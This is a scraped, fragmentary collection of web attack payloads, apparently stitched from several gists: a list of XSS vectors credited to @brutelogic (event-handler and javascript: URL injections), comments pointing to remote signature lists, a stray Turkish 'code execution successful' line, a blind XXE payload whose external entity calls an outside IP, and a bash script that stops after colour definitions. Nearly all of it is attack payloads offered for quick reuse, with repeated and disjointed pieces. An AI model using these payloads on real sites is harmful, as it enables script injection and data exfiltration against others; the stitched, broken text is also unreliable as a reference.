Credit: @brutelogic (blog)
The XSS payloads and schemes used in all posts for a quick reference.
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
<brute contenteditable onblur=alert(1)>lose focus!
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> | |
><img id=XSS SRC=x onerror=alert(XSS);> | |
;!--"<XSS>=&{()}" | |
<IMG id=XSS SRC="javascript:alert('XSS');"> | |
<IMG id=XSS SRC=javascript:alert('XSS')> | |
<IMG id=XSS SRC=JaVaScRiPt:alert('XSS')> | |
<IMG id=XSS SRC=javascript:alert("XSS")> | |
<IMG id=XSS SRC=`javascript:alert("'XSS'")`> | |
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> | |
<IMG id=XSS SRC="jav ascript:alert('XSS');"> |
“>><<img src=x onerror=alert(1);//>> |
/* Remote File Include with HTML TAGS via XSS.Cx */ | |
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */ | |
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */ | |
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */ | |
/* Updated September 29, 2014 */ | |
/* RFI START */ | |
<img language=vbs src=<b onerror=alert#1/1#> | |
<isindex action="javas	cript:alert(1)" type=image> | |
"]<img src=1 onerror=alert(1)> | |
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span> |
The XSS payloads and schemes used in all posts for a quick reference.
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
<brute contenteditable onblur=alert(1)>lose focus!
Uzaktan Kod caistirma Basarili |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
#!/bin/bash | |
BLACK="\033[30m" | |
RED="\033[31m" | |
GREEN="\033[32m" | |
YELLOW="\033[33m" | |
BLUE="\033[34m" | |
PINK="\033[35m" | |
CYAN="\033[36m" | |
WHITE="\033[37m" |